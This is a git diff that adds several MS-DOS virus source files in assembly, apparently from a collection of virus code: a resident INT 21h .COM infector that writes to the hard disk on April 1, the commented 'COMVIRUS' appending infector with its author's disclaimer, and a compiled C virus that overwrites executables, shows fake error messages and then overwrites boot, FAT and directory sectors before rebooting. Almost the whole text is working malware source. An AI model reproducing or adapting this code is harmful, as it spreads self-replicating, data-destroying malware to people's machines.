0CFh,0AEh, 62h,0B7h, 47h,0E2h + db 0B6h, 98h, 9Ch,0ADh, 88h, 99h + db 0CDh, 99h,0D0h + db 2Dh +loc_35: + sub byte ptr [bp+di-55EEh],0Ch + js loc_34 ; Jump if sign=1 + inc cx + ja loc_35 ; Jump if above + xor si,word ptr ds:[0E247h][bx] + dec si + cbw ; Convrt byte to word + inc bp + and [bx+di],si + adc cl,[bx+si+19h] + xor dl,[bx+si] + retf +;* jns loc_36 ;*Jump if not sign + db 79h,0F0h + retf 0EA41h + cmp bx,[bp-48B9h] + mov si,5B05h + db 60h, 18h, 52h, 4Fh, 8Fh, 73h + db 0B7h, 46h, 61h,0B4h, 43h,0E2h + db 0EEh, 34h, 1Eh, 16h, 25h, 71h + db 7Bh, 3Eh, 8Dh, 41h, 09h, 24h + db 69h, 33h,0C2h, 41h,0EAh,0FBh + db 9Fh, 41h,0F2h, 33h, 98h,0E7h + db 0ACh, 87h,0D9h, 01h, 47h, 1Dh + db 13h, 58h, 65h, 32h,0CAh, 41h + db 0EAh,0FBh, 9Fh, 41h,0FAh, 19h + db 98h,0E7h,0ADh, 1Dh, 13h,0CBh + db 54h,0F1h, 49h, 06h, 48h,0BBh + db 9Eh, 8Fh, 84h,0C0h,0C2h, 0Fh + +crimeIIb endp + +seg_a ends + + + + end start diff --git a/c/CV.ASM b/c/CV.ASM new file mode 100755 index 0000000..e2b4397 --- /dev/null +++ b/c/CV.ASM @@ -0,0 +1,274 @@ + PAGE 60,132 +; +XSEG SEGMENT +; Seg=01387H +; Org=00000H + ASSUME CS:XSEG +XPROC PROC FAR + JMP L6551 + DEC BX + PUSH BX + PUSH CX + CALL L0009 +L0009: POP SI + SUB SI,+09H + PUSH SI + CLD + MOV DI,0100H + MOV CX,0005H + MOVSB + JMP L01CE +L001A: PUSHF + PUSH CS + CALL WORD PTR CS:[08C0H] + DB 0C3H; RET + STI + CMP AH,4BH + JE L0061 + CMP AH,11H + JE L0035 + CMP AH,12H + JE L0035 + JMP L01C0 +L0035: CALL L001A + PUSH AX + PUSH BX + PUSH ES + MOV AH,2FH + CALL L001A + MOV AX,534BH + CMP ES:[BX+1EH],AX + JNE L0050 + MOV AX,0254H + SUB ES:[BX+24H],AX +L0050: POP ES + POP BX + POP AX + RET 0002H; 0CAH +L0056: MOV BX,0F200H + MOV CX,0001H + MOV DH,00H + INT 13H + DB 0C3H; RET +L0061: PUSHF + PUSH SS + PUSH AX + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + XOR AX,AX + MOV DS,AX + MOV DI,DS:[0194H] + MOV ES,DS:[0196H] + MOV AX,WORD PTR DS:[004CH] + MOV BX,DS:[004EH] + MOV CX,0F000H + MOV DX,0EC59H + MOV DS:[0100H],DX + MOV DS:[0102H],CX + MOV WORD PTR DS:[0198H],AX + MOV DS:[019AH],BX + MOV DS:[004CH],DI + MOV DS:[004EH],ES + PUSH CS + POP DS + PUSH CS + POP ES + MOV AH,19H + CALL L001A + CMP AL,01H + JNBE L00BB + MOV DL,AL + MOV AX,0201H + CALL L0056 + MOV AX,0301H + CALL L0056 + CMP AH,00H + JNE L00D0 +L00BB: MOV AH,2AH + CALL L001A + CMP DX,0401H + JNE L00D3 + MOV AX,030FH + MOV DL,80H + CALL L0056 + CLI + HLT +L00D0: JMP L01A4 +L00D3: MOV AH,2FH + CALL L001A + MOV CS:[08B0H],ES + MOV CS:[08B2H],BX + MOV AH,4EH + MOV DX,0BD5H + MOV CX,0000H + CALL L001A + JB L00D0 +L00EF: MOV AX,534BH + CMP ES:[BX+16H],AX + JNE L0101 +L00F8: MOV AH,4FH + CALL L001A + JB L00D0 + JMP SHORT L00EF +L0101: MOV CX,05DCH + CMP ES:[BX+1AH],CX + JBE L00F8 + PUSH ES + POP DS + MOV AX,3D02H + MOV DX,BX + ADD DX,+1EH + CALL L001A + MOV WORD PTR CS:[0C65H],AX + MOV BX,AX + PUSH CS + POP DS + MOV AH,3FH + MOV DX,0A10H + MOV CX,0005H + CALL L001A + MOV DX,5A4DH + CMP DS:[0A10H],DX + JE L019A + MOV DI,0C67H + MOV AL,0E9H + MOV [DI],AL + INC DI + MOV BX,DS:[08B2H] + MOV CX,ES:[BX+1AH] + INC CX + INC CX + MOV [DI],CX + INC DI + INC DI + MOV AX,534BH + MOV [DI],AX + MOV BX,CS:[0C65H] + MOV AX,4200H + XOR CX,CX + XOR DX,DX + CALL L001A + MOV AH,40H + MOV DX,0C67H + MOV CX,0005H + CALL L001A + MOV AX,4202H + XOR CX,CX + XOR DX,DX + CALL L001A + PUSH CS + POP DS + MOV BX,CS:[0C65H] + MOV AH,40H + MOV DX,0A10H + MOV CX,0254H + CALL L001A + JB L019A + MOV BX,CS:[0C65H] + MOV AX,5700H + CALL L001A + MOV AX,5701H + MOV CX,534BH + CALL L001A +L019A: + MOV BX,CS:[0C65H] + MOV AH,3EH + CALL L001A +L01A4: XOR AX,AX + MOV DS,AX + MOV AX,WORD PTR DS:[0198H] + MOV BX,DS:[019AH] + MOV WORD PTR DS:[004CH],AX + MOV DS:[004EH],BX + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + POP SS + POPF +L01C0: + JMP WORD PTR CS:[08C0H] + SUB CH,DS:[6F63H] + DB 6DH + ADD [BX+SI+0CF03H],DH +L01CE: MOV AX,0070H + MOV ES,AX + MOV DI,0000H + MOV AX,80FBH +L01D9: CLD + MOV CX,0FFFFH + SCASW + JE L01E6 + MOV DI,0001H + JMP SHORT L01D9 +L01E6: MOV BX,02FCH + CMP ES:[DI],BX + JNE L01DD + DEC DI + DEC DI + XOR AX,AX + MOV DS,AX + MOV DS:[0194H],DI + MOV DS:[0196H],ES + MOV ES,DS:[009EH] + MOV BX,DS:[00A0H] + PUSH CS + POP DS + MOV DX,BP + MOV BP,DS + POP SI + PUSH SI + MOV DI,0A10H + MOV CX,0255H + MOVSB + PUSH ES + LEA DI,[BX+1BH] + MOV AL,0E9H + STOSB + MOV AX,0A30H + SUB AX,DI + STOSW + MOV AX,9090H + STOSW + STOSW + MOV ES:[08C0H],DI + MOV AX,SS + SUB AX,0018H + CLI + MOV SS,AX + PUSH CS + POP SS + STI + MOV DS,BP + MOV BP,DX + POP ES + PUSH CS + POP ES + POP SI + POP CX + XOR DX,DX + XOR SI,SI + XOR AX,AX + XOR BX,BX + MOV DI,0100H + JMP DI + DEC BP + DB 69H + DB 6CH + DB 65H + DB 6EH + DB 61H + AND [BP+DI+02H],CL +XPROC ENDP +XSEG ENDS + END + \ No newline at end of file diff --git a/c/CV4-30 (51).ASM b/c/CV4-30 (51).ASM new file mode 100755 index 0000000..e50cc16 --- /dev/null +++ b/c/CV4-30 (51).ASM @@ -0,0 +1,458 @@ +title COMVIRUS +subttl By Drew Eckhardt +subttl Latest revision: 4-28-1991 + +;The author of this virus intends it to be used for educational +;purposes only, and assumes no responsibilities for its release, +;dammages resulting from its use, including but not limited to +;equipment dammage or data loss. + +;By assembling or examining this program, The user agrees to accept all +;responsibility for this programs use, or any portions of the code +;or concepts contained within. The user also agrees to not publicly release +;this virus, and to exercise necessary precautions to prevent its escape. +;The user accepts all responsibility arising from his actions. + +;Don't come crying to me if your hard disk gets infected, +;as THERE IS NO ANTIDOTE. HAHAHAH. + + +;Revision history: +;4-13: initial bug-free release, size=424 bytes with carrier + +;4-15: added no date change support, size=438 bytes with carrier + +;4-16: minor documentation changes, size=438 bytes with carrier, +; NO CODE CHANGE from 4-15 revision + +;4-21: fixed missing hex h suffixs, made MASM friendly, +; fixed incorrect assume statement (assume statements are ignored +; by A86) enabled hard/floppy infection based on floppy_only status +; size=438 bytes IF floppy_only, 424 bytes if not, with carrier. +; minimum virus length = 419 bytes + +;4-23: added control over how many programs are infected per run, +; switched method of infection, from copying to DTA then writing +; to disk to straight write to disk from memory. +; size=412 bytes IF floppy_only, 398 bytes if not, with carrier. +; minimum virus length = 393 bytes + +;4-28: used set DTA instead of default DTA/copy command line +; buffer, which had been used based on incorrect assumption +; eliminated calls to get time/date, get attribs +; by using information from find first/find next functions 4eh/4fh +; made warning optional for reduced space if desired. Also +; changed mov reg16, bp add reg16, constant to shorter LEA instruction. +; size=354 bytes IF floppy_only, warning on W/carrier +; 340 bytes IF w/warning & carrier program +; 286 bytes w/o warning, in program +; minimum virus length = 281 bytes for virus itself + +;4-28pm: instead of near CALL-pop sequences everywhere, switched to +; a single CALL near ptr Reference_Point, putting the result into +; si now that (until the end) string mode addressing is not used. +; Changed places where a register (used as an index) +; was being loaded THEN added to a single LEA isntruction +; size = 340 bytes if floppy_only, warning on w/carrier +; size = 326 bytes if w/warning & carrier +; size = 272 w/o warning +; minimum virus length = 267 bytes for the virus itself + +;4-28pm2: Eliminated unecessary flush buffers call. +; size = 336 bytes if floppy_only w/carrier +; size = 322 bytes w/warning & carrier +; size = 268 w/o warning +; minimum virus length = 263 bytes for virus itself + +;4-30: restored 5 bytes of original code at CS:0100 +; before infecting other programs, allowing the +; original code field to be modified so one disk write could be +; used instead of two +; minor documentation revisions - corrected incorrect +; opcodes in documentation +; size = 326 bytes if floppy_only w/carrier +; size = 312 bytes w/warning & carrier program +; size = 258 bytes w/carrier program +; Minimum virus length = 253 bytes for the virus itself + +;NOTE: The program is currently "set up" for A86 assembly with all +;conditional assembly symbols. #IF and #ENDIF should be replaced with +;MASM IFDEF and ENDIF directives for propper operation. +;Also, instead of using EQUates to define control symbols, the /D +;option or DEFINE could be used..... + + +;COMVIRUS.ASM must be assembled into a .COM file inorder to function +;properly. For convieniece, I recommend an assembler like A86 that will +;assemble to a .COM file without having to go through LINK and EXE2BIN + +;As is, it will infect .COM files located on the current disk. +;ONLY if it is a floppy disk, ONLY in the root directory. + +;This is a .COM infector virus, which, does nothing other than print a +;warning message, and spread to all files on the default disk IFF it is +;a floppy disk, in the root directory. + +;Theory: +;This is a non - overwriting virus. I took special precautions to preserve +;all functionality of the original program, including command line, parsed FCB, +;and segment register preservation. This makes the virus harder to detect. + +;The .COM file is a memory image - with no relocation table. Thus, it +;is an easy target for a virus such as this. + +;Infected file format +;jmp near ptr xxxx +;cli cli ;ID bytes +;ORIGINAL program code, sans 5 bytes +;5 bytes ORIGINAL program code +;VIRUS + +;This format makes infection VERY simple. We merely check for our signature +;(in this case cli cli (fa fa) - instructions that no programmer in his +;right mind would use - loading the original five bytes in the process. +;These original bytes are written to the end of the program, then +;A jump to where the virus is. + +;While infection is easy, this method presents some coding problems, as the +;virus does not know where in memory it is. Therefor, When we want to access +;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the +;stack which is then popped. Addresses are then calculated relative to this +;via LEA + +;To run the program as normal, command line is restored, registers restored, +;And original code copied onto the first five bytes of the program. + + +;Program control symbols defined here +floppy_only equ 1 +infect_per_run equ 1 ;number of programs infected per run +warn_user equ 1 + +_TEXT segment byte 'CODE' + assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT + org 100h + +Start: jmp infect; + +;This is our signature + cli + cli + +;Original code is the data field where we store the original program code +;which will replace our signature and jmp to infect + +Original_Code: int 20h ;five bytes that simply terminate + nop ;the program + nop + nop + + + +;Data for the virus. In a destructive virus, you would want to encrypt +;any strings using a simple one's complement (not) operation so as to +;thwart detection via text search utilities. Since we want detection to +;be easy, this un-encrypted form is fine. + + +Start_Virus: +#IF warn_user + Warning db "This file infected with COMVIRUS 1.0",10,13,'$' +#ENDIF + +;VirusMask is simply an ASCIIZ terminated string of the files we wish to +;infect. + + VirusMask db '*.COM', 0 +Infect: + push ax ;on entry to a .COM program, STACK: + ;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp + ;for the two FCB's in here. Save + ;'em + + ;I use special trickery to find location of data. Since + ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is + ;translated to e8 0000 - which will simply place the location + ;of Reference onto the stack. Our data can be found relative to + ;this point. + + call near ptr Reference ;All data is reference realative to + ;Reference + + +Reference: pop bx ;which is placed into bx for LEA + ;instructions + ;bx now contains the REAL address of + ;Reference + ;si points to real address of original + ;code field + lea si, [bx-(offset Reference - offset Original_Code)] + mov di, 0100h ;original code is at 100h + mov cx, 5 ;5 bytes + cld ;from start of buffer + rep movsb ;do it + + mov si, bx ;since BX is used in handle + ;based DOS calls, for the remainder + ;of the virus, si will contain the + ;actual address of reference + +#IF warn_user + + ;Always calculate the address of data relative to known Reference + ;Point + lea dx, [si-(offset Reference - offset Warning)] + mov ah,9h ;DO dos call, DS:DX pointing + int 21h ;to $ terminated string + + ;We want to make sure that the user gets the message + +WaitForKey: + mov ah, 0bh ;we will wait for a keypress + int 21h ;signifying the user has + or al, al ;seen the message. + jz WaitForKey + +#ENDIF + +#IF FLOPPY_ONLY + + ;Since this is a simple demonstration virus, we will only infect + ;.COM files on the default drive IFF it is a floppy disk.... + ;So, we will get information about the disk drive. + + + push ds ;ds:bx returns a byte to + ;media descriptor + + mov ah, 1bh ;get disk information STACK + int 21h ;DOIT ax (drive ID's) + cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp + + pop ds ;restore ds STACK + jne Floppy ;if it was hard.... ax <--sp + jmp near ptr done ;we're nice guys and are done + +Floppy: ;Since it was floppy, we can go on with the infection! +#ENDIF + ;The default DTA, as is will give us problems. The designers of + ;MickeySoft DOS decided to put default DTA at ofset 128 in + ;the PSP. PROBLEM: This is also where the user's precious command + ;line is, and we MUST remain undectected. SO.... we allocate a + ;DTA buffer on the stack. 43 bytes are needed, 44 will do. + + sub sp, 44 ;allocate space for findfirst/findnext DTA + mov bp, sp ;set up bp as a reference to this area + + ;Set the DTA + mov dx, bp ;point DS:DX to our area + mov ah, 1ah ;set DTA + int 21h + + ;Set up pointers to data in DTA + dta equ word ptr [bp] + file_name equ word ptr [bp+1eh] + attributes equ byte ptr [bp+15h] + time_stamp equ word ptr [bp+16h] + date_stamp equ word ptr [bp+18h] + file_size equ dword ptr [bp+1ah] + + ;We dynamically allocate a variable to store the number of programs STACK + ;The virus has infected. FCB drives + ; bp--> 44 byte DTA + infected_count equ byte ptr[bp-2]; Infected_Count + xor ax, ax ;zero variable, sp--> buffer (6 bytes) + push ax ;allocate it on the stack + sub sp, 6 ;allocate small buffer + + ;Now, we begin looking for files to infect. + lea dx, [si - (offset Reference - offset VirusMask)] + ;DS:DX points to the search string STACK + mov ah, 4eh ;find first matching directory entry FCB drives (word) + mov cx, 111b ;only default directory, FILES + ;hidden, system and normal + int 21h ;doit bp--> 44 byte DTA buffer + ; infected count (word) + jnc Research ;carry is clear when a file was sp--> 6 byte buffer + jmp nofile ;found. + + +ReSearch: +;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx + lea dx, file_name + +;Since this is a virus, we want to infect files that can't be touched by +;DOS commands, this means readonly, system, and hidden files are at our +;mercy. To do this, we rely on the findfrst/next attributes and other data +;to restore the attribute byte to the original settings. get/SET can fix +;them to be suitable + mov cl, attributes + and cl, 11100000b ;not readonly, system, or hidden STACK + ; FCB drives + mov ax, 4301h ;set attributes bp--> buffer (44 bytes) + int 21h ; buffer (6 bytes) + ; sp--> infected_count + jnc NoError ;check for error + jmp Restore_Flags +NoError: + mov ax, 3d02h ;now, open file using handle, + ;read/write access + int 21h ; + jnc NoError2 ;IF there was an error, we are done + jmp Restore_Flags ;But we don't need to commit or close + +NoError2: + mov bx, ax ;The handle was returned in ACC. + ;Howwever, all handle based DOS + ;calls expect it in BX + + +;We don't want to infect the program more than once, so we will +;check to see if it is infected. + + + mov ax, 4200h ;seek relative to start of file + ; bx contains handle from open operation + xor cx,cx ;cx:dx is file pointer + xor dx, dx ; + int 21h ;DOIT + +;Now, we will read in enough data to see if we have our virus signature. + mov ah, 3fh ;read data + lea dx, [si-(offset reference-offset original_code)] + ;into original_code buffer + mov cx, 5 ;5h bytes + ; bx contains handle from last operation + int 21h + + cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah + jne GoApe ;if we aren't already infected, + jmp Error ;go for it + +GoApe: +;Since it is safe to infect, we will + mov ax, 4202h ;seek end of file + xor cx, cx + xor dx, dx + int 21h + + or dx, dx ;check for valid .COM format + jz Less_Than_64K + jmp Error + +Less_Than_64K: + +;Now, we must calculate WHERE the jump will be to. Let's examine the program +;Structure: +;jmp near ptr xxxx +;Cli Cli }These add up to the original length +;Orignal code sans 5 bytes + +;Original_Code (5 bytes) }The length of all virus data +;Other virus data is equal to the difference in +;Infect the addresses of Infect and Original_Code + +;End_Virus + + +;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin) +;However, in the 80x86, NEAR jumps are calculated as an offset from the position +;of the next statement to execute (because of fetch/execute cycle operation). + +;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from +;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code +;+Original_Length-3); + + ;Since AX already contains the original length, we will merely add + ;Space for the virus data, and take care of the three bytes + ;of code generated by the jmp near instruction. + + add ax, (offset Infect - Offset Original_Code -3) + + ;calculate jump address + mov byte ptr [bp-8], 0e9h ;jmp near instruction + mov word ptr [bp-7], ax ;offset for near jmp + mov word ptr [bp-5], 0fafah ;cli cli + + mov ax, 4200h ;seek begining of file + xor cx, cx + mov dx, cx + int 21h + + mov ah, 40h ;write patched code + mov cx, 5 ;5 bytes of code + lea dx, [bp-8] ;our buffer + int 21h + + mov ax, 4202h ;seek EOF + xor cx, cx + xor dx, dx + int 21h + + + lea dx, [si - (offset Reference - offset Original_Code)]; set start + mov cx, (offset End_Virus - offset Original_Code) ;set length + mov ah, 40h ;append virus to file + int 21h ;doit + + inc infected_Count ;bump up the number of programs infected + +Error: mov dx,date_stamp ;restore date + mov cx,time_stamp ;restore time + mov ax, 5701h ;set them + int 21h + + mov ah, 3eh ;close file + int 21h + +Restore_Flags: + xor ch, ch ;zero hi byte flags + mov cl,attributes ;restore flags + lea dx, file_name ;ds:dx points to ASCIIZ string + ;in the buffer, offset 1eh contains + ;the file name + mov ax, 4301h ;get/SET flags + int 21h ;Doit + +DoAgain:;See if we're done infecting + cmp infected_count, infect_per_run + jae NoFile ;if we're done, same as no new file + + + mov ah, 4fh ;find next + int 21h + + jc NoFile ;if carry is clear, DOIT again! + jmp ReSearch + +;Since we have no more files, we will restore things to normal. +NoFile: + mov dx, 80h ;reset default dta at DS:80h + mov ah, 1ah ;set DTA + int 21h + + add sp, 52 ;deallocate buffers and infected_count + + + +;Put original code of program BEFORE it was infected back in place! + + +Done: + pop ax ;restore ax + + + ;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take + ;a RELATIVE address...... BUT a retn opcode pops a near absolute + ;address of the stack - saves us the trouble of some calculating + ;relative to here, and the trouble of a self-modifying + ;far absolute jmp! (5 bytes) + + mov bx, 0100h + push bx + ret ;easiest jump to cs:100 + +End_Virus: +_TEXT ends +end start + diff --git a/c/CVIRUS.ASM b/c/CVIRUS.ASM new file mode 100755 index 0000000..710eddf --- /dev/null +++ b/c/CVIRUS.ASM @@ -0,0 +1,596 @@ + ifndef ??version +?debug macro + endm +$comm macro name,dist,size,count + comm dist name:BYTE:count*size + endm + else +$comm macro name,dist,size,count + comm dist name[size]:BYTE:count + endm + endif + ?debug S "cvirus.c" + ?debug C E9A18C4217086376697275732E63 + ?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68 + ?debug C E90008A41413433A5C54435C494E434C5544455C646F732E68 + ?debug C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68 + ?debug C E90008A41412433A5C54435C494E434C5544455C696F2E68 + ?debug C E90008A41416433A5C54435C494E434C5544455C7374646172672E+ + ?debug C 68 + ?debug C E90008A41415433A5C54435C494E434C5544455C737464696F2E68 +_TEXT segment byte public 'CODE' +_TEXT ends +DGROUP group _DATA,_BSS + assume cs:_TEXT,ds:DGROUP +_DATA segment word public 'DATA' +d@ label byte +d@w label word +_DATA ends +_BSS segment word public 'BSS' +b@ label byte +b@w label word +_BSS ends +_DATA segment word public 'DATA' +_screw_virex label byte + db 245 + db 35 + db 114 + db 150 + db 84 + db 250 + db 227 + db 188 + db 205 + db 4 + db 0 +_DATA ends +_TEXT segment byte public 'CODE' + ; + ; void hostile_activity(void) + ; + assume cs:_TEXT +_hostile_activity proc near + push bp + mov bp,sp + ; + ; { + ; /* Put whatever you feel like doing here... + ; I chose to make this routine trash the victim's boot, FAT, and + ; directory sectors, but you can alter this code however you want, + ; and are encouraged to do so. + ; */ + ; + ; + ; #ifdef DEBUG + ; puts("\aAll files infected!"); + ; exit(1); + ; #else + ; /* Overwrite five sectors, starting with sector 0, on C:, with the + ; memory at location DS:0000 (random garbage). + ; */ + ; + ; abswrite(2, 5, 0, (void *) 0); + ; + xor ax,ax + push ax + xor dx,dx + push ax + push dx + mov ax,5 + push ax + mov ax,2 + push ax + call near ptr _abswrite + add sp,10 + ; + ; __emit__(0xCD, 0x19); // Reboot computer + ; + db 205 + db 25 + ; + ; #endif + ; } + ; + pop bp + ret +_hostile_activity endp +_TEXT ends +_DATA segment word public 'DATA' + db 78 + db 77 + db 65 + db 78 + db 0 +_DATA ends +_TEXT segment byte public 'CODE' + ; + ; int infected(char *fname) + ; + assume cs:_TEXT +_infected proc near + push bp + mov bp,sp + sub sp,36 + push si + ; + ; { + ; /* This function determines if fname is infected. It reads four + ; bytes 28 bytes in from the start and checks them agains the + ; current header. 1 is returned if the file is already infected, + ; 0 if it isn't. + ; */ + ; + ; register int handle; + ; char virus_signature[35]; + ; static char check[] = SIGNATURE; + ; + ; handle = _open(fname, O_RDONLY); + ; + mov ax,1 + push ax + push word ptr [bp+4] + call near ptr __open + add sp,4 + mov si,ax + ; + ; _read(handle, virus_signature, sizeof(virus_signature)); + ; + mov ax,35 + push ax + lea ax,word ptr [bp-36] + push ax + push si + call near ptr __read + add sp,6 + ; + ; close(handle); + ; + push si + call near ptr _close + inc sp + inc sp + ; + ; + ; #ifdef DEBUG + ; printf("Signature for %s: %.4s\n", fname, &virus_signature[28]); + ; #endif + ; + ; /* This next bit may look really stupid, but it actually saves about + ; 100 bytes. + ; */ + ; + ; return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1]) + ; + ; + ; && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3])); + ; + mov al,byte ptr [bp-8] + cmp al,byte ptr DGROUP:d@+11 + jne short @2@146 + mov al,byte ptr [bp-7] + cmp al,byte ptr DGROUP:d@+11+1 + jne short @2@146 + mov al,byte ptr [bp-6] + cmp al,byte ptr DGROUP:d@+11+2 + jne short @2@146 + mov al,byte ptr [bp-5] + cmp al,byte ptr DGROUP:d@+11+3 + jne short @2@146 + mov ax,1 + jmp short @2@170 +@2@146: + xor ax,ax +@2@170: + ; + ; } + ; + pop si + mov sp,bp + pop bp + ret +_infected endp + ; + ; void spread(char *virus, struct ffblk *victim) + ; + assume cs:_TEXT +_spread proc near + push bp + mov bp,sp + sub sp,4740 + push si + push di + ; + ; { + ; /* This function infects victim with virus. First, the victim's + ; attributes are set to 0. Then the virus is copied into + ; the victim's file name. Its attributes, file date/time, and + ; size are set to that of the victim's, preventing detection, and + ; the files are closed. + ; */ + ; + ; register int virus_handle, victim_handle; + ; unsigned virus_size; + ; char virus_code[TOO_SMALL + 1], *victim_name; + ; + ; + ; /* This is used enought to warrant saving it in a separate variable */ + ; + ; victim_name = victim->ff_name; + ; + mov ax,word ptr [bp+6] + add ax,30 + mov word ptr [bp-4],ax + ; + ; + ; + ; #ifdef DEBUG + ; printf("Infecting %s with %s...\n", victim_name, virus); + ; #endif + ; + ; /* Turn off all of the victim's attributes so it can be replaced */ + ; + ; _chmod(victim_name, 1, 0); + ; + xor ax,ax + push ax + mov ax,1 + push ax + push word ptr [bp-4] + call near ptr __chmod + add sp,6 + ; + ; + ; + ; #ifdef DEBUG + ; puts("Ok so far..."); + ; #endif + ; + ; /* Recreate the victim */ + ; + ; virus_handle = _open(virus, O_RDONLY); + ; + mov ax,1 + push ax + push word ptr [bp+4] + call near ptr __open + add sp,4 + mov di,ax + ; + ; victim_handle = _creat(victim_name, victim->ff_attrib); + ; + mov bx,word ptr [bp+6] + mov al,byte ptr [bx+21] + cbw + push ax + push word ptr [bp-4] + call near ptr __creat + add sp,4 + mov si,ax + ; + ; + ; + ; /* Copy virus */ + ; + ; virus_size = _read(virus_handle, virus_code, sizeof(virus_code)); + ; + mov ax,4736 + push ax + lea ax,word ptr [bp-4740] + push ax + push di + call near ptr __read + add sp,6 + mov word ptr [bp-2],ax + ; + ; _write(victim_handle, virus_code, virus_size); + ; + push ax + lea ax,word ptr [bp-4740] + push ax + push si + call near ptr __write + add sp,6 + ; + ; + ; + ; #ifdef DEBUG + ; puts("Almost done..."); + ; #endif + ; + ; /* Reset victim's file date, time, and size */ + ; + ; chsize(victim_handle, victim->ff_fsize); + ; + mov bx,word ptr [bp+6] + push word ptr [bx+28] + push word ptr [bx+26] + push si + call near ptr _chsize + add sp,6 + ; + ; setftime(victim_handle, (struct ftime *) &victim->ff_ftime); + ; + mov ax,word ptr [bp+6] + add ax,22 + push ax + push si + call near ptr _setftime + add sp,4 + ; + ; + ; + ; /* Close files */ + ; + ; close(virus_handle); + ; + push di + call near ptr _close + inc sp + inc sp + ; + ; close(victim_handle); + ; + push si + call near ptr _close + inc sp + inc sp + ; + ; + ; #ifdef DEBUG + ; puts("Infection complete!"); + ; #endif + ; } + ; + pop di + pop si + mov sp,bp + pop bp + ret +_spread endp +_TEXT ends +_DATA segment word public 'DATA' + dw DGROUP:s@ + dw DGROUP:s@+6 + db 0 + db 0 +_DATA ends +_BSS segment word public 'BSS' + db 43 dup (?) +_BSS ends +_TEXT segment byte public 'CODE' + ; + ; struct ffblk *victim(void) + ; + assume cs:_TEXT +_victim proc near + push bp + mov bp,sp + push si + push di + ; + ; { + ; /* This function returns a pointer to the name of the virus's next + ; victim. This routine is set up to try to infect .EXE and .COM + ; files. If there is a command line argument, it will try to infect + ; that file instead. If all files are infected, hostile activity + ; is initiated... + ; */ + ; + ; register int done; + ; register char **ext; + ; static char *types[] = {"*.EXE", "*.COM", NULL}; + ; static struct ffblk ffblk; + ; + ; for (ext = (*++_argv) ? _argv : types; *ext; ext++) { + ; + add word ptr DGROUP:__argv,2 + mov bx,word ptr DGROUP:__argv + cmp word ptr [bx],0 + je short @4@74 + mov ax,word ptr DGROUP:__argv + jmp short @4@98 +@4@74: + mov ax,offset DGROUP:d@w+16 +@4@98: + mov si,ax + jmp short @4@362 +@4@122: + ; + ; done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH); + ; + mov ax,39 + push ax + mov ax,offset DGROUP:b@w+0 + push ax + push word ptr [si] + call near ptr _findfirst + add sp,6 + jmp short @4@290 +@4@146: + ; + ; while (!done) { + ; + ; #ifdef DEBUG + ; printf("Scanning %s...\n", ffblk.ff_name); + ; #endif + ; + ; /* If you want to check for specific days of the week, months, etc., + ; here is the place to insert the code (don't forget to "#include + ; "). + ; */ + ; + ; if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name))) + ; + cmp word ptr DGROUP:b@w+0+28,0 + jl short @4@266 + jg short @4@218 + cmp word ptr DGROUP:b@w+0+26,4735 + jbe short @4@266 +@4@218: + mov ax,offset DGROUP:b@w+0+30 + push ax + call near ptr _infected + inc sp + inc sp + or ax,ax + jne short @4@266 + ; + ; return(&ffblk); + ; + mov ax,offset DGROUP:b@w+0 + jmp short @4@410 +@4@266: + ; + ; done = findnext(&ffblk); + ; + mov ax,offset DGROUP:b@w+0 + push ax + call near ptr _findnext + inc sp + inc sp +@4@290: + mov di,ax + or di,di + je short @4@146 + inc si + inc si +@4@362: + cmp word ptr [si],0 + jne short @4@122 + ; + ; } + ; } + ; + ; + ; /* If there are no files left to infect, have a little fun */ + ; + ; hostile_activity(); + ; + call near ptr _hostile_activity +@4@410: + ; + ; } + ; + pop di + pop si + pop bp + ret +_victim endp +_TEXT ends +_DATA segment word public 'DATA' + dw DGROUP:s@+12 + dw DGROUP:s@+26 + dw DGROUP:s@+41 + dw DGROUP:s@+61 + dw DGROUP:s@+78 + dw DGROUP:s@+97 + dw DGROUP:s@+115 + dw DGROUP:s@+144 +_DATA ends +_TEXT segment byte public 'CODE' + ; + ; int main(void) + ; + assume cs:_TEXT +_main proc near + push bp + mov bp,sp + push si + ; + ; { + ; /* In the main program, a victim is found and infected. If all files + ; are infected, a malicious action is performed. Otherwise, a bogus + ; error message is displayed, and the virus terminates with code + ; 1, simulating an error. + ; */ + ; + ; static char *err_msg[] = {"Out of memory", "Bad EXE format", + ; "Invalid DOS version", "Bad memory block", + ; "FCB creation error", "Sharing violation", + ; "Abnormal program termination", + ; "Divide error" + ; }; + ; register char *virus_name = *_argv; + ; + mov bx,word ptr DGROUP:__argv + mov si,word ptr [bx] + ; + ; + ; spread(virus_name, victim()); + ; + call near ptr _victim + push ax + push si + call near ptr _spread + add sp,4 + ; + ; puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]); + ; + xor ax,ax + mov es,ax + mov bx,word ptr es:[1132] + and bx,7 + shl bx,1 + push word ptr DGROUP:d@w+22[bx] + call near ptr _puts + inc sp + inc sp + ; + ; return(1); + ; + mov ax,1 + ; + ; } + ; + pop si + pop bp + ret +_main endp + ?debug C E9 +_TEXT ends +_DATA segment word public 'DATA' +s@ label byte + db '*.EXE' + db 0 + db '*.COM' + db 0 + db 'Out of memory' + db 0 + db 'Bad EXE format' + db 0 + db 'Invalid DOS version' + db 0 + db 'Bad memory block' + db 0 + db 'FCB creation error' + db 0 + db 'Sharing violation' + db 0 + db 'Abnormal program termination' + db 0 + db 'Divide error' + db 0 +_DATA ends +_TEXT segment byte public 'CODE' 